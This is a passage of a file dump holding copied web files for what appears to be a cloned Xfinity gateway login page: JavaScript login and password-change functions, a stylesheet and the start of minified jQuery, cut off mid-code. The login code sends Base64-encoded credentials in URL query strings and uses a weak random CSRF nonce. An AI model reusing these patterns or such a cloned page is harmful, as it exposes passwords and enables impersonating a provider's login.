errorThrown) {\n                logout(false);\n                rv = textStatus;//\"unauthorized\";\n            },\n            dataType:\"text\",\n            async:false,\n            cache:false\n\n        });\n        //$.log(rv);\n        if (window.console) console.log(rv);\n        rv = hooks.postProcess(rv);\n        return rv;\n    } catch (e) {\n        //$.log(\"snmpWalk caught \" + e);\n        if (window.console) console.log(\"snmpWalk caught \" + e);\n        return { };\n    }\n}\n\nfunction login(name, password) {\n    var up = Base64.encode(name + \":\" + password);\n    var limit_flag = false;\n    attrs[\"Credential\"] = \"\";\n    if (window.console) console.log(\"create credential=\" + up);\n    eraseCookie(\"credential\");setSessionStorage(\"ar_nonce\",\"\");\n    baseAjax({\n        url:\"login?arg=\" + up,\n        success:function (result) \n        {\n            if( result == CAN_NOT_SET_CRED )\n            {\n                limit_flag = true;\n            }\n            else\n            {\n            \tcreateCookie(\"credential\", result);\n            }\n        },\n        dataType:\"text\",\n        async:false,\n        cache:false\n    });\n    if( limit_flag == true )\n    {\n        return CAN_NOT_SET_CRED; \n    }\n    return isLoggedIn();\n}\n\n\nfunction logout(sendMsg) {\n    attrs[\"Credential\"] = \"\";\n    eraseCookie(\"credential\");\n    setSessionStorage(\"ar_nonce\",\"\");\n    if (sendMsg) {\n        baseAjax({\n            url:\"logout\",\n            dataType:\"text\",\n            async:false,\n            cache:false\n        });\n    }\n    refresh();\n}\nfunction changePassword( name ,OldPassword, NewPassword ) {\n    var cred = Base64.encode( name + \":\" + OldPassword + \":\" + NewPassword );\n    var rv = \"\";\n    baseAjax({\n        url:\"setPassword?arg=\" + cred,\n        success:function (result) {\n            rv = result;\n        },\n        dataType:\"text\",\n        async:false,\n        cache:false\n    });\n    var ok = rv === \"ok\" || rv === \"true\";\n\n    //   if (ok) {\n    //      logout();\n    //      login(loginData.name, NewPassword);\n    //  }\n\n    return ok;\n}\n\nfunction logfilestore(logtype, idxStr) {\n\n    baseAjax({\n        url:\"storelog?arg=\" + logtype + idxStr,\n        dataType:\"text\",\n        async:false,\n        cache:false\n    });\n\t\n    if (window.console) console.log(\"storelog\");\n}\n\nfunction checkPassword(name, password ) {\n    var up = Base64.encode(name + \":\" + password );\n    var ret = \"\";\n    baseAjax({\n        url:\"checkPassword?arg=\" + up,\n        success:function (result) {\n            ret = result;\n        },\n        dataType:\"text\",\n        async:false,\n        cache:false\n    });\n\n    if( ret == \"true\" )\n    {\n        return true;\n    }\n    else\n    {\n        return false;\n    }\n}\n\n//BEGIN PROD00219791 CSRF issue.\nfunction getNonce() {\n    var n = getSessionStorage(\"ar_nonce\");\n    if (!n) {\n        n = \"_n=\"+(\"\"+Math.random()).substr(2,5);\n        setSessionStorage(\"ar_nonce\", n);\n    }\n    return n;\n}\n\nfunction wrapNonce(url){\n\tif (!url) return url;\n\tvar startChar = url.indexOf('?') === -1 ? '?' : '&';\n    url += startChar + getNonce();\n    return url;\n}\n// Notice that all new added function that call jQuery.ajax, should use baseAjax to instead it.\nfunction baseAjax(options){\n\toptions.url = wrapNonce(options.url);\n\tjQuery.ajax(options);\n}\n// END PROD00219791 CSRF issue.\n\n\n"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/common-min.css",
    "content": "html,body,div,span,applet,object,iframe,h1,h2,h3,h4,h5,h6,p,blockquote,pre,a,abbr,acronym,address,big,cite,code,del,dfn,em,font,img,ins,kbd,q,s,samp,small,strike,strong,sub,sup,tt,var,b,u,i,center,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td{border:0;outline:0;font-size:100%;vertical-align:baseline;background:transparent;margin:0;padding:0;}body{line-height:1;}ol,ul{list-style:none;}blockquote,q{quotes:none;}blockquote:before,blockquote:after,q:before,q:after{content:none;}:focus{outline:0;}ins{text-decoration:none;}del{text-decoration:line-through;}table{border-collapse:collapse;border-spacing:0;}body{background-color:#5d666a;color:#5d666a;font:.8em Arial,Helvetica,sans-serif;}td,th{font:.8em Arial,Helvetica,sans-serif;vertical-align:middle;}a:link,a:visited{color:#39baf1;}a:hover,a:active{color:#000;text-decoration:none;}h1{font-size:2.2em;}#content h1{margin-left:10px;}h2{font-size:1.1em;font-weight:bold;}h3{font-size:1.2em;font-weight:bold;padding:8px;}p{line-height:1.4em;margin:.5em 0;}small{font-size:.8em;}#container{background-color:#f1f1f1;width:960px;margin:0 auto;}#footer{background:#39baf1;clear:both;color:#fff;text-align:center;padding:12px 0;margin-top:50px;overflow:hidden;}#main-content{clear:both;display:block;overflow:hidden;padding:0 20px 20px;}#content{float:left;width:850px;}#header{padding:13px 24px 0;background-color:#fff;height:75px;margin-bottom:-70px;}#logo,#logo a,#logo span{display:block;position:relative;height:30px;line-height:30px;width:92px;z-index:5;}#logo{text-indent:3px;margin-top:20px;position:absolute;}#logo span{position:absolute;z-index:15;background:url(../img/logo_xfinity.png) no-repeat 0 0;height:100%;left:0;top:0;width:100%;}.first-child{list-style:none!important;margin-left:0!important;}#footer-links{width:350px;margin:0 auto;overflow:hidden;}#footer-links li{float:left;line-height:28px;list-style:disc outside;color:#fff;margin-left:22px;font-size:1.3em;}#footer-links li a{color:#fff;text-decoration:none;}#sub-header{clear:both;height:30px;margin:0 -20px 20px;padding:20px;position:relative;width:920px;}h1{font-size:2em;padding-bottom:20px;}#userToolbar{position:absolute;right:20px;top:7px;}#userToolbar li{float:left;line-height:28px;list-style:disc;margin-left:25px;}#userToolbar .user{font-weight:bold;}#userToolbar .toolbar a{text-decoration:none;}#status{position:absolute;right:20px;top:36px;}#status li{float:left;line-height:19px;margin:0 0 0 10px;font-weight:bold;font-size:1.1em;padding-bottom:15px;position:relative;}#status li .tooltip{background-color:#fff;color:#838c91;display:none;right:-15px;padding:15px;position:absolute;top:25px;width:165px;z-index:999;-moz-box-shadow:0 0 12px 0 #e0e0e0;-webkit-box-shadow:0 0 12px #e0e0e0;}.on-off{background:#fff url(../img/icn_on_off.png) no-repeat 0 0;display:block;float:left;margin:2px 5px 0 3px;height:14px;width:15px;text-indent:-9999px;}.off .on-off{background-position:0 -26px;}.off .on-off{background-position:0 -26px;}.alert .on-off{background-position:0 -52px;}#status .battery span{background:url(../img/icn_battery.png) no-repeat 0 0;height:19px;width:9px;display:block;float:left;margin:-1px 5px 0 3px;text-indent:-9999px;}#status .battery .bat-100{background-position:0 0;}#status .battery .bat-75{background-position:0 -19px;}#status .battery .bat-50{background-position:0 -38px;}#status .battery .bat-25{background-position:0 -57px;}#status .battery .bat-10{background-position:0 -76px;}#status .battery .bat-0{background-position:0 -95px;}#nav{float:left;margin:0 20px 20px 0;position:relative;width:182px;border-top:solid 1px #dadad8;}#nav>ul>li{border-bottom:solid 1px #dadad8;}#nav>ul>li>ul>li:last-child a{border-bottom:0;}#nav li a{border-bottom:dashed 1px #dadad8;color:#575f5f;display:block;font-weight:bold;padding:8px 10px 8px 20px;text-decoration:none;}#nav li li a{color:#788180;}#nav li a.selected,#nav li a:hover{color:#39baf1;}#nav li ul{display:none;}#nav li a{padding-left:10px;}#nav li li a{padding-left:20px;}#nav li li li a{padding-left:30px;}#nav li li a.folder{background:url(../img/arrows_nav.png) no-repeat 10px -2px;}#nav li li a.folder:hover{background-position:10px -74px;}#nav li li a.folder-open{background-position:10px -38px!important;}#nav li li a.folder-open:hover{background-position:10px -110px!important;}#nav li li li a.folder{background:url(../img/arrows_nav.png) no-repeat 20px -2px;}#nav li li li a.folder:hover{background-position:20px -74px;}#nav li li li a.folder-open{background-position:20px -38px!important;}#nav li li li a.folder-open:hover{background-position:20px -110px!important;}#nav a.top-level{border:none;font-size:1.2em;background:url(../img/arrows_nav.png) no-repeat 4px 1px;padding-left:15px;}#nav a.top-level-active{background-color:#838c91;color:#fff!important;background:#838c91 url(../img/arrows_nav.png) no-repeat 4px -179px;padding-left:15px;}#educational-tip{clear:both;background:#fafafa;color:#838c91;border:solid 8px #fff;-moz-box-shadow:0 0 12px 0 #e0e0e0;-webkit-box-shadow:0 0 12px #e0e0e0;margin:0 8px 15px;position:relative;}#educational-tip h2{color:#555;font-weight:normal;font-size:.8em;margin-bottom:12px;}#educational-tip .tip{font-weight:bold;color:#838c91;}#educational-tip p{padding:8px;margin:0;width:600px;}#educational-tip .hidden{display:none;}#educational-tip a.tip-more{font-size:.8em;position:absolute;top:3px;right:6px;}.module{background:#fff;width:684px;margin:8px;padding:8px;overflow:hidden;position:relative;-moz-box-shadow:0 0 12px 0 #e0e0e0;-webkit-box-shadow:0 0 12px #e0e0e0;position:relative;}.module h2{background:#39baf1;color:#fff;padding:10px;margin-bottom:8px;}.block{width:324px;min-height:136px;display:inline-block;vertical-align:top;}.ff2{width:324px;min-height:136px;display:-moz-inline-stack!important;overflow:visible!important;}.block div.ff2fix{width:334px;position:relative;clear:both;}#home-network h2{background:#f85f01;}#internet-usage h2{background:#f85f01;}#home-automation h2{background:#f85f01;margin-bottom:0;}#network-updates h2{background:#f85f01;margin-bottom:0;}#software h2{background:#f85f01;margin-bottom:0;}#internet-usage .chart{float:right;width:185px;height:48px;border:solid 2px #ccc;background:#f9f9f9;overflow:hidden;}#internet-usage .chart li{float:left;width:16px;height:48px;margin:0 5px;text-indent:-9999px;background-color:#39BAF1;-moz-box-shadow:0 0 5px 0 #999;-webkit-box-shadow:0 0 5px #999;}#network-updates #recent_network_updates{position:relative;}#network-updates #recent_network_updates select{position:absolute;top:-26px;right:15px;}#network-updates h3 .value{color:#ef4416;}#software td{width:50%;padding:5px 6px 3px;}.form-row{clear:both;overflow:hidden;padding:8px;}.form-row .on-off{margin-right:10px;}.form-btn{margin:8px;}.module .form-btn{margin:8px 0 0;padding-left:233px;}.module .btn-group{padding:15px 0 0;min-height:23px;}\r\n.odd,.odd \r\n.on-off\r\n{\r\n\tbackground-color:#ededed;\r\n}\r\n.odd1\r\n{\r\n\tbackground-color:#ededed;\r\n}\r\n.form-row label,.form-row .setLabel,.form-row .readonlyLabel{font-weight:bold;font-size:inherit!important;}.forms label,.forms .setLabel,.forms .readonlyLabel{display:block;float:left;font-weight:bold;line-height:1.4em;margin:4px 5px 0 0;text-align:right;width:220px;}.forms .readonlyValue{display:block;float:left;line-height:1.4em;margin:4px 5px 0 0;}.block label,.block .setLabel,.block .readonlyLabel{width:125px;}.form-row .checkbox,.form-row .group,.forms .value{display:inline;float:left;margin:4px 0 0 4px;line-height:1.4em;font-weight:bold;}#restore .value{width:435px;}.form-row label.radio,.form-row label.checkbox{float:none;display:inline;margin-left:0;padding:0 5px 0 0;text-align:left;width:auto;}.form-row .text{border:solid 1px #cecece;padding:4px 5px;}.form-row input.smallInput{width:25px;}.form-row p.error{font-size:.9em;margin:0;padding:8px 8px 8px 225px;}.select-row{clear:both;overflow:hidden;padding:8px;}.select-row .readonlyLabel{float:left;margin-right:10px;line-height:28px;font-size:1.2em;font-weight:bold;color:#333;width:120px;text-align:right;}.select-row .label{width:auto!important;}.select-row .value{float:left;line-height:40px;}.footnote{padding:8px;font-size:.8em;}.forms .footnote{padding-left:225px;float:left;}.forms .summary{padding:8px;color:#000;font-weight:bold;}.forms .combo-group li{padding:4px 0;overflow:hidden;}.combo-group li{margin:10px 0;padding:10px 5px;color:#444;overflow:hidden;-moz-border-radius:4px;-webkit-border-radius:4px;}.combo-group li p{margin-left:25px;}.combo-group li .checkbox{margin-left:225px;}.combo-group li label,.combo-group .label{font-weight:bold;}.ext-optgroup label{color:#222;font-weight:bold;font-size:1.3em;}#notification.combo-group{overflow:hidden;margin-bottom:10px;}#notification.combo-group li{float:left;padding:0 20px 0 0;margin:0;}.error{color:#F00;}.disabled{color:#ccc!important;}p.more{margin:8px 8px 0;text-align:right;}table{border-collapse:collapse;clear:both;width:100%;background-color:#ededed;}table .on-off{background-color:#ededed;}table.odd,table .odd,table .odd th,table .odd td,table.odd .on-off{background-color:#fff!important;}table thead,table th{text-align:left;font-weight:bold;}table th{font-size:1em;padding:5px 6px 3px;}table td{font-size:1em;padding:3px 4px;}.data h2{margin-bottom:0;}table.data th{background:#39baf1;color:#fff;}table th.row-label{background-color:transparent;color:#444;width:20%;border:0;}.comcast-network th.row-label{text-align:right;}table th.alt{width:inherit!important;}#home-automation table td.value{width:20px;}table .delete,table .edit{text-align:right;width:40px;}table td.delete{text-align:center!important;}table td.save{width:110px;text-align:center!important;}table.data th,table.data td{padding:8px;}table.data td.delete{width:28px;}table.data .url,table.data .keyword,table.data .when,table.data .computer_name,table.data .ip{width:45%;}table.data .number{width:15px;}table#blocked-apps .apps,table#blocked-services .services{width:50%;}table#blocked-services .when{width:30%;}table#blocked-services .port{width:10%;}table.wireless .name,table.wireless .macaddress{width:50%;}table.wireless .channel,table.wireless .protocols,table.wireless .security{width:100px;}table#email_features,table#add_allowed_device,table#samba_permissions{clear:none;float:right;margin-right:-10px;width:452px;}table#samba_permissions th{width:50%;}table#trusted_computers .computer_name,table#trusted_computers .ip{width:200px;}table#trusted_computers .trusted{width:100px;}table#add_allowed_device td{vertical-align:top;}table#add_allowed_device div.error{font-size:.9em;margin:0;padding:8px 0;}.btn,a.btn{padding:3px 10px;background:#fff url(../img/btn_bg.png) repeat-x 0 -14px;color:#555;text-decoration:none;border:solid 1px #d0d0d0;cursor:pointer;outline:0;text-transform:uppercase;font-weight:bold;font-size:11px;}a.btn{padding:4px 10px;}.btn:hover,a.btn:hover{background:#fff url(../img/btn_bg.png) repeat-x 0 bottom;color:#ffe51e;outline:0;}.alt,a.alt{background:#999;color:#fff;}.form-btn input,.form-btn a{margin-right:15px;}.btn-group{padding:15px 0;}.button{position:absolute;top:11px;right:13px;}.ff2 .button{top:2px;right:10px;}.modal-overlay{position:fixed;top:0;left:0;height:100%;width:100%;background:#000;opacity:.4;}.modal-dialog{position:fixed;top:60px;left:50%;width:200px;margin-left:-120px;padding:20px;background:#fff;}.hidden{display:none;}#login{width:375px;}#login label{width:80px;}#login div.error{padding-left:8px;}#login p.error{padding-left:90px;}#login .text{width:500px;}#login .form-btn{text-align:right;margin:0 15px 10px;}#password .form-btn{padding-left:138px;}#computers-edit label,#computers-edit .readonlyLabel{width:300px;}#time_frame,#log_type{margin-right:30px;}.ui-helper-hidden{display:none;}.ui-helper-hidden-accessible{position:absolute;left:-99999999px;}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none;}.ui-helper-clearfix:after{content:\".\";display:block;height:0;clear:both;visibility:hidden;}.ui-helper-clearfix{display:inline-block;}/* required comment for clearfix to work in Opera \\*/ * html .ui-helper-clearfix{height:1%;}.ui-helper-clearfix{display:block;}/* end clearfix */ .ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0);}.ui-state-disabled{cursor:default!important;}.ui-icon{display:block;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat;}.ui-widget-overlay{position:absolute;top:0;left:0;width:100%;height:100%;}.ui-timepickr{position:absolute;width:480px;}.ui-timepickr-row{margin:0;padding:0;margin-top:2px;display:none;position:relative;}.ui-timepickr-button{float:left;margin:0;padding:0;list-style:none;list-style-type:none;}.ui-timepickr-button span{font-size:.7em;padding:4px 6px 4px 6px;margin-left:2px;text-align:center;cursor:pointer;display:block;text-align:center;font-weight:bold;border:solid 1px #222;-moz-border-radius:3px;-webkit-border-radius:3px;background:#444;color:#fff;}.ui-timepickr-button span.ui-state-hover{color:#000;background:#9CCD00;}#security-level li{margin:10px 0;padding:10px 5px;color:#444;-moz-border-radius:4px;-webkit-border-radius:4px;}#security-level .label{color:#222;font-weight:bold;font-size:1.3em;cursor:pointer;text-decoration:underline;}#security-level li p{margin-left:25px;}#security-level li dl{margin:10px 25px;}#security-level li dl dl{margin:0;}#security-level li dt{font-weight:bold;}#security-level li dd{margin:5px 25px;}#security-level li dd dd{margin:5px 0;}#security-level #max{background:#9ccd00;border:solid 5px #9ccd00;}#security-level #max:hover{border:solid 5px #759900;}#security-level #medium{background:#cde67f;border:solid 5px #cde67f;}#security-level #medium:hover{border:solid 5px #9eb362;}#security-level #low{background:#e1f0b2;border:solid 5px #e1f0b2;}#security-level #low:hover{border:solid 5px #a7b384;}#security-level #custom{background:#ebebeb;border:solid 5px #ebebeb;}#security-level #custom:hover{border:solid 5px #cecece;}#weekday{padding-left:230px;}#weekday input{margin-right:10px;}.select_all_none{font-size:.9em;margin-top:-20px;padding-left:233px;}.radio-btns li{display:inline;}.radio-btns label{display:inline;font-weight:normal;float:none;width:auto;}.radiolist{overflow:hidden;background:#9e9e9e;padding:3px 2px;float:left;}.radiolist li{float:left;margin:0 2px;width:40px;height:20px;position:relative;z-index:1;color:#888;border:solid 1px #eee;background:#eee url(../img/gradient.png) repeat-x 0 bottom;font-size:.9em;}.radiolist li label{display:block;text-align:center;line-height:20px;width:100%;height:20px;z-index:5;cursor:pointer;margin:0!important;}.radiolist li#off.selected,.radiolist li#off.selected label{background-color:#e6411a;color:#fff!important;text-shadow:0 1px 0 #9f0c00;}.radiolist li#off.selected{border:solid 1px #aa1f00;}.radiolist li.selected{background:#92c700;border:solid 1px #6da006;color:#fff;text-shadow:0 1px 1px #5a9007;}.radiolist li.selected label{font-weight:bold;}li.selected.percent-100,li.selected.percent-75,li.selected.percent-50,li.selected.percent-25{color:#444;border:solid 1px #666;text-shadow:0 1px 1px #fff!important;}li.selected.percent-100{background-color:#ffe61e;}li.selected.percent-75{background-color:#ffec56;}li.selected.percent-50{background-color:#fff28e;}li.selected.percent-25{background-color:#fff9c7;}.radiolist li input{display:none;}.radiolist li.selected a.radio-deselect{display:block!important;}.enable li,.scheduling li{width:60px;}#popup_container{min-width:300px;max-width:600px;background:#FFF;border:solid 8px #fff;color:#444;-moz-box-shadow:0 0 12px 0 #444;-webkit-box-shadow:0 0 12px #444;}#popup_title{background:#A46DD3;color:#fff;padding:10px;margin-bottom:8px;}#popup_message{font-size:1.1em;background-color:#ededed;padding:20px 10px;}#popup_panel{text-align:right;padding:8px 0 0;}#popup_panel input{margin-left:15px;}#media-library .tabs{overflow:hidden;background-color:#e0e0e0;height:24px;border:solid 4px #e0e0e0;border-bottom:0;}#media-library .tabs li{float:left;line-height:24px;font-size:.8em;}#media-library .tabs li a{padding:0 10px;border-right:solid 1px #cecece;color:#3e3e3e;font-weight:bold;text-decoration:none;}#media-library .tabs li.selected{background-color:#3e3e3e;color:#fff;}#media-library .tabs li.selected a{color:#fff;border-right:0;}#media-library .sub-tabs{background-color:#3e3e3e;color:#fff;overflow:hidden;}#media-library .sub-tabs li{float:left;line-height:28px;font-size:.8em;}#media-library .sub-tabs li a{padding:0 10px;color:#fff;font-weight:bold;text-decoration:none;}#media-library .sub-tabs li.selected a{color:#39BAF1;}\r\n\t\r\n#nav li li li a.dis_a { color:#DDDDDD; padding-left: 30px; }\r\n#nav li li li a.dis_a:link { color:#DDDDDD; }\r\n#nav li li li a.dis_a:visited { color:#DDDDDD; }\r\n#nav li li li a.dis_a:hover { color:#DDDDDD; }\r\n\r\n#nav li li a.dis_a { color:#DDDDDD; }\r\n#nav li li a.dis_a:link { color:#DDDDDD; }\r\n#nav li li a.dis_a:visited { color:#DDDDDD; }\r\n#nav li li a.dis_a:hover { color:#DDDDDD; }\r\n\r\n#nav a.dis-top-level{border:none;font-size:1.2em;background:url(../img/arrows_nav.png) no-repeat 4px 1px;padding-left:15px; color:#DDDDDD;}\r\n#nav a.dis-top-level-active{background-color:#F1F1F1;color:#DDDDDD;!important;background:#838c91 url(../img/arrows_nav.png) no-repeat 4px -179px;padding-left:15px;}\r\n#nav a.dis-top-level:link{color:#DDDDDD;}\r\n#nav a.dis-top-level:visited{color:#DDDDDD;}\r\n#nav a.dis-top-level:hover{color:#DDDDDD;}\r\n\r\n.btn_dis,a.btn_dis{padding:3px 10px;background:#fff url(../img/btn_bg.png) repeat-x 0 -14px;color:#ccc!important;text-decoration:none;border:solid 1px #d0d0d0;cursor: default;outline:0;text-transform:uppercase;font-weight:bold;font-size:11px;}\r\na.btn_dis{padding:4px 10px;}\r\n.btn_dis:hover,a.btn_dis:hover{color:#ccc!important;outline:0;cursor: default;}\r\n\r\n"
  },
  {
    "path": "sites/Login-Xfinity/Xfinity_files/common-min.js",
    "content": "/*!\n * jQuery JavaScript Library v1.4.2\n * http://jquery.com/\n *\n * Copyright 2010, John Resig\n * Dual licensed under the MIT or GPL Version 2 licenses.\n * http://jquery.org/license\n *\n * Includes Sizzle.js\n * http://sizzlejs.com/\n * Copyright 2010, The Dojo Foundation\n * Released under the MIT, BSD, and GPL Licenses.\n *\n * Date: Sat Feb 13 22:33:48 2010 -0500\n */\n(function(A,w){function ma(){if(!c.isReady){try{s.documentElement.doScroll(\"left\")}catch(a){setTimeout(ma,1);return}c.ready()}}function Qa(a,b){b.src?c.ajax({url:b.src,async:false,dataType:\"script\"}):c.globalEval(b.text||b.textContent||b.innerHTML||\"\");b.parentNode&&b.parentNode.removeChild(b)}function X(a,b,d,f,e,j){var i=a.length;if(typeof b===\"object\"){for(var o in b)X(a,o,b[o],f,e,d);return a}if(d!==w){f=!j&&f&&c.isFunction(d);for(o=0;o<i;o++)e(a[o],b,f?d.call(a[o],o,e(a[o],b)):d,j);return a}return i?e(a[0],b):w}function J(){return(new Date).getTime()}function Y(){return false}function Z(){return true}function na(a,b,d){d[0].type=a;return c.event.handle.apply(b,d)}function oa(a){var b,d=[],f=[],e=arguments,j,i,o,k,n,r;i=c.data(this,\"events\");if(!(a.liveFired===this||!i||!i.live||a.button&&a.type===\"click\")){a.liveFired=this;var u=i.live.slice(0);for(k=0;k<u.length;k++){i=u[k];i.origType.replace(O,\"\")===a.type?f.push(i.selector):u.splice(k--,1)}j=c(a.target).closest(f,a.currentTarget);n=0;for(r=j.length;n<r;n++)for(k=0;k<u.length;k++){i=u[k];if(j[n].selector===i.selector){o=j[n].elem;f=null;if(i.preType===\"mouseenter\"||i.preType===\"mouseleave\")f=c(a.relatedTarget).closest(i.selector)[0];if(!f||f!==o)d.push({elem:o,handleObj:i})}}n=0;for(r=d.length;n<r;n++){j=d[n];a.currentTarget=j.elem;a.data=j.handleObj.data;a.handleObj=j.handleObj;if(j.handleObj.origHandler.apply(j.elem,e)===false){b=false;break}}return b}}function pa(a,b){return\"live.\"+(a&&a!==\"*\"?a+\".\":\"\")+b.replace(/\\./g,\"`\").replace(/ /g,\"&\")}function qa(a){return!a||!a.parentNode||a.parentNode.nodeType===11}function ra(a,b){var d=0;b.each(function(){if(this.nodeName===(a[d]&&a[d].nodeName)){var f=c.data(a[d++]),e=c.data(this,f);if(f=f&&f.events){delete e.handle;e.events={};for(var j in f)for(var i in f[j])c.event.add(this,j,f[j][i],f[j][i].data)}}})}function sa(a,b,d){var f,e,j;b=b&&b[0]?b[0].ownerDocument||b[0]:s;if(a.length===1&&typeof a[0]===\"string\"&&a[0].length<512&&b===s&&!ta.test(a[0])&&(c.support.checkClone||!ua.test(a[0]))){e=true;if(j=c.fragments[a[0]])if(j!==1)f=j}if(!f){f=b.createDocumentFragment();c.clean(a,b,f,d)}if(e)c.fragments[a[0]]=j?f:1;return{fragment:f,cacheable:e}}function K(a,b){var d={};c.each(va.concat.apply([],va.slice(0,b)),function(){d[this]=a});return d}function wa(a){return\"scrollTo\"in a&&a.document?a:a.nodeType===9?a.defaultView||a.parentWindow:false}var c=function(a,b){return new c.fn.init(a,b)},Ra=A.jQuery,Sa=A.$,s=A.document,T,Ta=/^[^<]*(<[\\w\\W]+>)[^>]*$|^#([\\w-]+)$/,Ua=/^.[^:#\\[\\.,]*$/,Va=/\\S/,Wa=/^(\\s|\\u00A0)+|(\\s|\\u00A0)+$/g,Xa=/^<(\\w+)\\s*\\/?>(?:<\\/\\1>)?$/,P=navigator.userAgent,xa=false,Q=[],L,$=Object.prototype.toString,aa=Object.prototype.hasOwnProperty,ba=Array.prototype.push,R=Array.prototype.slice,ya=Array.prototype.indexOf;c.fn=c.prototype={init:function(a,b){var d,f;if(!a)return this;if(a.nodeType){this.context=this[0]=a;this.length=1;return this}if(a===\"body\"&&!b){this.context=s;this[0]=s.body;this.selector=\"body\";this.length=1;return this}if(typeof a===\"string\")if((d=Ta.exec(a))&&(d[1]||!b))if(d[1]){f=b?b.ownerDocument||b:s;if(a=Xa.exec(a))if(c.isPlainObject(b)){a=[s.createElement(a[1])];c.fn.attr.call(a,b,true)}else a=[f.createElement(a[1])];else{a=sa([d[1]],[f]);a=(a.cacheable?a.fragment.cloneNode(true):a.fragment).childNodes}return c.merge(this,a)}else{if(b=s.getElementById(d[2])){if(b.id!==d[2])return T.find(a);this.length=1;this[0]=b}this.context=s;this.selector=a;return this}else if(!b&&/^\\w+$/.test(a)){this.selector=a;this.context=s;a=s.getElementsByTagName(a);return c.merge(this,a)}else return!b||b.jquery?(b||T).find(a):c(b).find(a);else if(c.isFunction(a))return T.ready(a);if(a.selector!==w){this.selector=a.selector;this.context=a.context}return c.makeArray(a,this)},selector:\"\",jquery:\"1.4.2\",length:0,size:function(){return this.length},toArray:function(){return R.call(this,0)},get:function(a){return a==null?this.toArray():a<0?this.slice(a)[0]:this[a]},pushStack:function(a,b,d){var f=c();c.isArray(a)?ba.apply(f,a):c.merge(f,a);f.prevObject=this;f.context=this.context;if(b===\"find\")f.selector=this.selector+(this.selector?\" \":\"\")+d;else if(b)f.selector=this.selector+\".\"+b+\"(\"+d+\")\";return f},each:function(a,b){return c.each(this,a,b)},ready:function(a){c.bindReady();if(c.isReady)a.call(s,c);else Q&&Q.push(a);return this},eq:function(a){return a===-1?this.slice(a):this.slice(a,+a+1)},first:function(){return this.eq(0)},last:function(){return this.eq(-1)},slice:function(){return this.pushStack(R.apply(this,arguments),\"slice\",R.call(arguments).join(\",\"))},map:function(a){return this.pushStack(c.map(this,function(b,d){return a.call(b,d,b)}))},end:function(){return this.prevObject||c(null)},push:ba,sort:[].sort,splice:[].splice};c.fn.init.prototype=c.fn;c.extend=c.fn.extend=function(){var a=arguments[0]||{},b=1,d=arguments.length,f=false,e,j,i,o;if(typeof a===\"boolean\"){f=a;a=arguments[1]||{};b=2}if(typeof a!==\"object\"&&!c.isFunction(a))a={};if(d===b){a=this;--b}for(;b<d;b++)if((e=arguments[b])!=null)for(j in e){i=a[j];o=e[j];if(a!==o)if(f&&o&&(c.isPlainObject(o)||c.isArray(o))){i=i&&(c.isPlainObject(i)||c.isArray(i))?i:c.isArray(o)?[]:{};a[j]=c.extend(f,i,o)}else if(o!==w)a[j]=o}return a};c.extend({noConflict:function(a){A.$=Sa;if(a)A.jQuery=Ra;return c},isReady:false,ready:function(){if(!c.isReady){if(!s.body)return setTimeout(c.ready,13);c.isReady=true;if(Q){for(var a,b=0;a=Q[b++];)a.call(s,c);Q=null}c.fn.triggerHandler&&c(s).triggerHandler(\"ready\")}},bindReady:function(){if(!xa){xa=true;if(s.readyState===\"complete\")return c.ready();if(s.addEventListener){s.addEventListener(\"DOMContentLoaded\",L,false);A.addEventListener(\"load\",c.ready,false)}else if(s.attachEvent){s.attachEvent(\"onreadystatechange\",L);A.attachEvent(\"onload\",c.ready);var a=false;try{a=A.frameElement==null}catch(b){}s.documentElement.doScroll&&a&&ma()}}},isFunction:function(a){return $.call(a)===\"[object Function]\"},isArray:function(a){return $.call(a)===\"[object Array]\"},isPlainObject:function(a){if(!a||$.call(a)!==\"[object Object]\"||a.nodeType||a.setInterval)return false;if(a.constructor&&!aa.call(a,\"constructor\")&&!aa.call(a.constructor.prototype,\"isPrototypeOf\"))return false;var b;for(b in a);return b===w||aa.call(a,b)},isEmptyObject:function(a){for(var b in a)return false;return true},error:function(a){throw a;},parseJSON:function(a){if(typeof a!==\"string\"||!a)return null;a=c.trim(a);if(/^[\\],:{}\\s]*$/.test(a.replace(/\\\\(?:[\"\\\\\\/bfnrt]|u[0-9a-fA-F]{4})/g,\"@\").replace(/\"[^\"\\\\\\n\\r]*\"|true|false|null|-?\\d+(?:\\.\\d*)?(?:[eE][+\\-]?\\d+)?/g,\"]\").replace(/(?:^|:|,)(?:\\s*\\[)+/g,\"\")))return A.JSON&&A.JSON.parse?A.JSON.parse(a):(new Function(\"return \"+a))();else c.error(\"Invalid JSON: \"+a)},noop:function(){},globalEval:function(a){if(a&&Va.test(a)){var b=s.getElementsByTagName(\"head\")[0]||s.documentElement,d=s.createElement(\"script\");d.type=\"text/javascript\";if(c.support.scriptEval)d.appendChild(s.createTextNode(a));else d.text=a;b.insertBefore(d,b.firstChild);b.removeChild(d)}},nodeName:function(a,b){return a.nodeName&&a.nodeName.toUpperCase()===b.toUpperCase()},each:function(a,b,d){var f,e=0,j=a.length,i=j===w||c.isFunction(a);if(d)if(i)for(f in a){if(b.apply(a[f],d)===false)break}else for(;e<j;){if(b.apply(a[e++],d)===false)break}else if(i)for(f in a){if(b.call(a[f],f,a[f])===false)break}else for(d=a[0];e<j&&b.call(d,e,d)!==false;d=a[++e]);return a},trim:function(a){return(a||\"\").replace(Wa,\"\")},makeArray:function(a,b){b=b||[];if(a!=null)a.length==null||typeof a===\"string\"||c.isFunction(a)||typeof a!==\"function\"&&a.setInterval?ba.call(b,a):c.merge(b,a);return b},inArray:function(a,b){if(b.indexOf)return b.indexOf(a);for(var d=0,f=b.length;d<f;d++)if(b[d]===a)return d;return-1},merge:function(a,b){var d=a.length,f=0;if(typeof b.length===\"number\")for(var e=b.length;f<e;f++)a[d++]=b[f];else for(;b[f]!==w;)a[d++]=b[f++];a.length=d;return a},grep:function(a,b,d){for(var f=[],e=0,j=a.length;e<j;e++)!d!==!b(a[e],e)&&f.push(a[e]);return f},map:function(a,b,d){for(var f=[],e,j=0,i=a.length;j<i;j++){e=b(a[j],j,d);if(e!=null)f[f.length]=e}return f.concat.apply([],f)},guid:1,proxy:function(a,b,d){if(arguments.length===2)if(typeof 